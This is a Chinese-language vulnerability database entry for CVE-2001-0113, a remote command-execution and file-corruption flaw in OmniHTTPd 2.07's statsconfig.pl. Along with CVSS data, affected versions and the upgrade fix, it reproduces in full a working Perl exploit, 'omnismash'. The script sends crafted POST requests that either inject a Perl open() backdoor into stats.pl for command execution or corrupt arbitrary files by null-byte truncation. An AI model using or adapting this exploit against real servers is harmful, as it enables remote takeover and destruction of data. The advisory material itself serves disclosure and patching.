CVE-2001-0113
CVSS10.0
发布时间 :2001-03-12 00:00:00
修订时间 :2008-09-05 16:23:18
NMCOES    

[原文]statsconfig.pl in OmniHTTPd 2.07 allows remote attackers to execute arbitrary commands via the mostbrowsers parameter, whose value is used as part of a generated Perl script.


[CNNVD]OmniHTTPD文件损坏和命令执行漏洞(CNNVD-200103-032)

        OmniHTTPd 2.07版本statsconfig.pl存在漏洞。远程攻击者借助mostbrowsers参数执行任意命令,该漏洞值用于生成Perl脚本的一部分

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0113
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0113
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200103-032
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2211
(VENDOR_ADVISORY)  BID  2211
http://archives.neohapsis.com/archives/bugtraq/2001-01/0248.html
(UNKNOWN)  BUGTRAQ  20010116 Vulnerabilities in OmniHTTPd default installation

- 漏洞信息

OmniHTTPD文件损坏和命令执行漏洞
危急 设计错误
2001-03-12 00:00:00 2005-10-20 00:00:00
远程※本地  
        OmniHTTPd 2.07版本statsconfig.pl存在漏洞。远程攻击者借助mostbrowsers参数执行任意命令,该漏洞值用于生成Perl脚本的一部分

- 公告与补丁

        暂无数据

- 漏洞信息 (20557)

Omnicron OmniHTTPD 2.0.7 File Corruption and Command Execution Vulnerability (EDBID:20557)
windows remote
2001-08-01 Verified
0 Joe Testa
N/A [点击下载]
source: http://www.securityfocus.com/bid/2211/info

OmniHTTPD is a compact Windows based web server by Omnicron Technologies. OmniHTTPD has various features including multiple domain support, keep-alive connections, supports virtual IP and non-IP servers and standard CGI support.

Due to the implementation of 'statsconfig.pl' multiple vulnerabilities exist in OmniHTTPD. It is possible to corrupt various known filenames and execute arbitrary commands. By appending a known filename to the 'cgidir' form variable accompanied with a null argument, the known filename will be corrupt. In addition, it is possible to execute commands on the target server. This is due to statsconfig.pl creating a perl script on the file. When the perl script is created, user supplied data (the mostbrowsers form variable if it is present) is written directly to the perl script file. If an attacker sets this value to semi-colon separated perl commands, they will be executed when statsconfig runs the script. This can result in an attacker gaining interactive access on the victim host with the privilege level of the webserver/cgi process.

Successful exploitation of this vulnerability could lead to complete comprimise of the host or denial of service. 

#!/usr/bin/perl

######################################################
#                                                    #
# omnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]  #
#              ( joetesta@hushmail.com )             #
#                                                    #
######################################################
#                                                    #
# This program exploits two holes in                 #
# 'statsconfig.pl', a cgi script which is installed  #
# by default by OmniHTTPd v2.07 (and possibly older  #
# versions).                                         #
#                                                    #
# 1.)  Any file on the system may be corrupted,      #
# including those on drives the server does not      #
# reside on.                                         #
#                                                    #
#                                                    #
#   Example:                                         #
#                                                    #
#     perl omnismash.pl localhost 80 -corrupt        #
#                c:\autoexec.bak                     #
#                                                    #
#                                                    #
# 2.)  Code can be injected into                     #
# '/cgi-bin/stats.pl'.  The absolute path to the     #
# the 'cgi-bin' must already be known.               #
#                                                    #
#                                                    #
#   Example:                                         #
#                                                    #
#     perl omnismash.pl localhost 80 -inject         #
#               c:/httpd/cgi-bin                     #
#                                                    #
# This exploit is set to insert a bare 'open()' call #
# to allow command execution like so:                #
#                                                    #
#     http://localhost/cgi-bin/stats.pl?|dir         #
#                                                    #
######################################################


use IO::Socket;


print "\nomnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]\n";
print "             ( joetesta\@hushmail.com )\n\n\n";



if ( scalar @ARGV < 4 ) {
    print "usage:  perl omnismash.pl target port " .
                               "[ -inject cgipath | -corrupt file ]\n";
    exit();
}



$target = $ARGV[ 0 ];
$port = $ARGV[ 1 ];
$inject_or_corrupt = $ARGV[ 2 ];
$stuff = $ARGV[ 3 ];



print "Creating socket... ";
$sock = new IO::Socket::INET( PeerAddr => $target,
                              PeerPort => int( $port ),
                              Proto    => 'tcp' );
die "$!" unless $sock;
print "done.\n";



if ( $inject_or_corrupt eq '-inject' ) {


    $worthless_stuff = "perllib=" . $stuff . "/statsconfig.pl%00&" .
                           "cgidir=" . $stuff;
    
    $more_worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
                           "mostbrowsers=on&timelog=on&mostipnum=5&" .
                           "mostreqf=5&mostbrowsernum=5";

    $semi_important_stuff = ";%20if(\$ENV{'QUERY_STRING'})" .
                           "{open(QS,\$ENV{'QUERY_STRING'});}\$a%3D1&" .
                           "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
                           "imagebar=%2Fstatsbar.gif&" .
                           "serveradd=%3C%21--%23echo+var%3D&" .
                           "barwidth=100&barheight=5&listpass=&" .
                           "bgcolor=%23FFFFFF&bgimage=&" .
                           "ttBGcolor=%23FFFFDD";

    $exploit = $worthless_stuff . $more_worthless_stuff .
                                                 $semi_important_stuff;


} elsif ( $inject_or_corrupt eq '-corrupt' ) {


    # Cheap hex encoding....
    $stuff =~ s/:/\%3A/g;       # ':' => %3A
    $stuff =~ s/\\/\%2F/g;      # '\' => %2F
    $stuff =~ s/\//\%2F/g;      # '/' => %2F
    $stuff =~ s/ /\%20/g;       # ' ' => %20
    $stuff =~ s/\./%2E/g;       # '.' => %2E



    # This appends a hex-encoded null character to the file to truncate
    # text that is appended to it by statsconfig.pl during processing.

    $stuff .= "%00";


    # Construct the exploit string.  This does nothing more than set
    # the 'perllib' and 'cgidir' fields to our null-padded filename,
    # then add additional fields to pass a series of "if()" checks.

    $worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
                       "mostbrowsers=on&timelog=on&mostipnum=5&" .
                       "mostreqf=5&mostbrowsernum=5&" .
                       "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
                       "imagebar=%2Fstatsbar.gif&" .
                       "serveradd=%3C%21--%23echo+var%3D&" .
                       "barwidth=100&barheight=5&listpass=&" .
                       "bgcolor=%23FFFFFF&bgimage=&" .
                       "ttBGcolor=%23FFFFDD";

    $exploit = "perllib=" . $stuff . "&cgidir=" . $stuff .
                                                      $worthless_stuff;

}

$length = length( $exploit );



# Write the string to the socket...

print "Sending exploit string... ";
print $sock "POST /cgi-bin/statsconfig.pl HTTP/1.0\n";
print $sock "Content-type: application/x-www-form-urlencoded\n";
print $sock "Content-length: $length\n\n";

print $sock $exploit;
print "done.\n";


# Read result from server...

print "Waiting for response...\n\n";
read( $sock, $buffer, 1024 );
print $buffer;


close( $sock );
exit();		

- 漏洞信息

8815
OmniHTTPd statsconfig.pl Multiple Parameter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-01-15 Unknow
2001-01-15 Unknow

- 解决方案

Upgrade to version 2.08 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

OmniHTTPD File Corruption and Command Execution Vulnerability
Design Error 2211
Yes Yes
2001-01-15 12:00:00 2009-07-11 04:46:00
Discovered and posted to Bugtraq by joetesta@hushmail.com on Jan 15, 2001.

- 受影响的程序版本

Omnicron OmniHTTPD 2.0.7
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0

- 漏洞讨论

OmniHTTPD is a compact Windows based web server by Omnicron Technologies. OmniHTTPD has various features including multiple domain support, keep-alive connections, supports virtual IP and non-IP servers and standard CGI support.

Due to the implementation of 'statsconfig.pl' multiple vulnerabilities exist in OmniHTTPD. It is possible to corrupt various known filenames and execute arbitrary commands. By appending a known filename to the 'cgidir' form variable accompanied with a null argument, the known filename will be corrupt. In addition, it is possible to execute commands on the target server. This is due to statsconfig.pl creating a perl script on the file. When the perl script is created, user supplied data (the mostbrowsers form variable if it is present) is written directly to the perl script file. If an attacker sets this value to semi-colon separated perl commands, they will be executed when statsconfig runs the script. This can result in an attacker gaining interactive access on the victim host with the privilege level of the webserver/cgi process.

Successful exploitation of this vulnerability could lead to complete comprimise of the host or denial of service.

- 漏洞利用

The following exploit has been provided by joetesta@hushmail.com:

- 解决方案

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站